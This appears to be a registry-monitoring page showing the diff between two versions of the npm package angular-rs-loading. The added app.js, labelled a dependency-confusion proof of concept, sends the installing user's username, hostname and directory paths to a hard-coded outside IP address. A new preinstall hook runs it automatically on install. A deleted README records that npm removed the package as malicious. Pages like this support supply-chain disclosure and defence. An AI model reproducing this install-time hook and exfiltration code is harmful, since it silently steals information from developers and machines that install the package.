angular-rs-loading 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of angular-rs-loading might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/app.js +35 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/app.js ADDED
@@ -0,0 +1,35 @@
1
+ //PoC for Dependency confusion - Contact me at https://twitter.com/FalcoXYZ if you installed this package.
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const http = require("http");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+
10
+ var options = {
11
+ hostname: "94.23.18.98",
12
+ port: 80,
13
+ path: "/oob.html",
14
+ method: "POST",
15
+ headers: {
16
+ "Content-Type": "application/x-www-form-urlencoded",
17
+ "homeDir": os.homedir(),
18
+ "currentDir": __dirname,
19
+ "username": os.userInfo().username,
20
+ "hostname": os.hostname(),
21
+ },
22
+ };
23
+
24
+ var req = http.request(options, (res) => {
25
+ res.on("data", (d) => {
26
+ process.stdout.write("");
27
+ });
28
+ });
29
+
30
+ req.on("error", (e) => {
31
+ // console.error(e);
32
+ });
33
+
34
+ req.write("");
35
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "angular-rs-loading",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=angular-rs-loading for more information.